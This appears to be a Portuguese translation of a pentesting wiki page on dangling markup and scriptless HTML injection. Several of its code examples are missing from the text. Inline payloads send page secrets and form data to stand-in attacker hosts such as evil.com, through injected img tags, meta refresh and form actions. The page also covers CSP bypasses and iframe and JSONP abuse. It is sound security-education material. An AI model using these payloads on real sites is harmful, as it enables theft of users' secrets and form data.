Dangling Markup - HTML scriptless injection
Resumo
Esta técnica pode ser usada para extrair informações de um usuário quando uma injeção HTML é encontrada. Isso é muito útil se você não encontrar nenhuma maneira de explorar um XSS mas você pode injetar algumas tags HTML. É também útil se algum segredo estiver salvo em texto claro no HTML e você quiser exfiltrá-lo do cliente, ou se você quiser desviar a execução de algum script.
Várias técnicas comentadas aqui podem ser usadas para contornar algumas Content Security Policy ao exfiltrar informações de maneiras inesperadas (tags html, CSS, tags http-meta, formulários, base...).
Principais Aplicações
Roubo de segredos em texto claro
Se você injetar <img src='http://evil.com/log.cgi?
quando a página for carregada, a vítima enviará todo o código entre a tag img
injetada e a próxima aspa dentro do código. Se um segredo estiver de alguma forma localizado naquele trecho, você o roubará (você pode fazer a mesma coisa usando uma aspa dupla, veja qual pode ser mais interessante usar).
Se a tag img
for proibida (devido ao CSP, por exemplo), você também pode usar <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
Note que o Chrome bloqueia URLs HTTP com "<" ou "\n" nelas, então você pode tentar outros esquemas de protocolo como "ftp".
Você também pode abusar do CSS @import
(enviará todo o código até encontrar um ";")
Você também pode usar <table
:
Você também pode inserir uma <base
tag. Todas as informações serão enviadas até que a aspa seja fechada, mas isso requer alguma interação do usuário (o usuário deve clicar em algum link, porque a tag base terá mudado o domínio apontado pelo link):
Roubo de formulários
Então, os formulários que enviam dados para o caminho (como <form action='update_profile.php'>
) enviarão os dados para o domínio malicioso.
Stealing forms 2
Defina um cabeçalho de formulário: <form action='http://evil.com/log_steal'>
isso irá sobrescrever o próximo cabeçalho de formulário e todos os dados do formulário serão enviados para o atacante.
Stealing forms 3
O botão pode mudar a URL para onde as informações do formulário serão enviadas com o atributo "formaction":
Um atacante pode usar isso para roubar as informações.
Encontre um exemplo deste ataque neste relatório.
Roubo de segredos em texto claro 2
Usando a técnica mencionada mais recente para roubar formulários (injetando um novo cabeçalho de formulário), você pode então injetar um novo campo de entrada:
e este campo de entrada conterá todo o conteúdo entre suas aspas duplas e a próxima aspas dupla no HTML. Este ataque mistura "Stealing clear text secrets" com "Stealing forms2".
Você pode fazer a mesma coisa injetando um formulário e uma tag <option>
. Todos os dados até que um </option>
fechado seja encontrado serão enviados:
Injeção de parâmetro de formulário
Você pode alterar o caminho de um formulário e inserir novos valores para que uma ação inesperada seja realizada:
Roubo de segredos em texto claro via noscript
<noscript></noscript>
É uma tag cujo conteúdo será interpretado se o navegador não suportar javascript (você pode ativar/desativar Javascript no Chrome em chrome://settings/content/javascript).
Uma maneira de exfiltrar o conteúdo da página da web do ponto de injeção até o fundo para um site controlado pelo atacante será injetar isto:
Bypassing CSP with user interaction
A partir desta pesquisa do portswigger, você pode aprender que mesmo em ambientes mais restritos pelo CSP, ainda é possível exfiltrar dados com alguma interação do usuário. Nesta ocasião, vamos usar o payload:
Note que você pedirá à vítima para clicar em um link que a redirecionará para um payload controlado por você. Também note que o atributo target
dentro da tag base
conterá conteúdo HTML até a próxima aspa simples.
Isso fará com que o valor de window.name
se o link for clicado seja todo aquele conteúdo HTML. Portanto, como você controla a página onde a vítima está acessando ao clicar no link, você pode acessar esse window.name
e exfiltrar esses dados:
Fluxo de script enganoso 1 - Ataque de namespace HTML
Insira uma nova tag com um id dentro do HTML que irá sobrescrever a próxima e com um valor que afetará o fluxo de um script. Neste exemplo, você está selecionando com quem uma informação será compartilhada:
Fluxo de script enganoso 2 - Ataque de namespace de script
Crie variáveis dentro do namespace javascript inserindo tags HTML. Então, essa variável afetará o fluxo da aplicação:
Abuso de JSONP
Se você encontrar uma interface JSONP, poderá chamar uma função arbitrária com dados arbitrários:
Ou você pode até tentar executar algum javascript:
Abuso de Iframe
Um documento filho possui a capacidade de visualizar e modificar a propriedade location
de seu pai, mesmo em situações de origem cruzada. Isso permite a incorporação de um script dentro de um iframe que pode redirecionar o cliente para uma página arbitrária:
Isso pode ser mitigado com algo como: sandbox=' allow-scripts allow-top-navigation'
Um iframe também pode ser abusado para vazar informações sensíveis de uma página diferente usando o atributo name do iframe. Isso ocorre porque você pode criar um iframe que se iframeia, abusando da injeção HTML que faz com que as informações sensíveis apareçam dentro do atributo name do iframe e, em seguida, acessar esse nome a partir do iframe inicial e vazá-lo.
Para mais informações, consulte https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta abuso
Você pode usar meta http-equiv
para realizar várias ações como definir um Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
ou realizar um redirecionamento (em 5s neste caso): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Isso pode ser evitado com um CSP em relação ao http-equiv ( Content-Security-Policy: default-src 'self';
, ou Content-Security-Policy: http-equiv 'self';
)
Novo <portal tag HTML
Você pode encontrar uma pesquisa muito interessante sobre vulnerabilidades exploráveis da tag <portal aqui.
No momento da escrita, você precisa habilitar a tag portal no Chrome em chrome://flags/#enable-portals
ou não funcionará.
HTML Leaks
Nem todas as maneiras de vazar conectividade em HTML serão úteis para Dangling Markup, mas às vezes podem ajudar. Confira aqui: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
Isso é uma mistura entre dangling markup e XS-Leaks. De um lado, a vulnerabilidade permite injetar HTML (mas não JS) em uma página da mesma origem da que estaremos atacando. Do outro lado, não iremos atacar diretamente a página onde podemos injetar HTML, mas outra página.
SS-LeaksXS-Search/XS-Leaks
XS-Search é orientado a exfiltrar informações de origem cruzada abusando de ataques de canal lateral. Portanto, é uma técnica diferente de Dangling Markup, no entanto, algumas das técnicas abusam da inclusão de tags HTML (com e sem execução de JS), como CSS Injection ou Lazy Load Images.
XS-Search/XS-LeaksBrute-Force Detection List
References
Last updated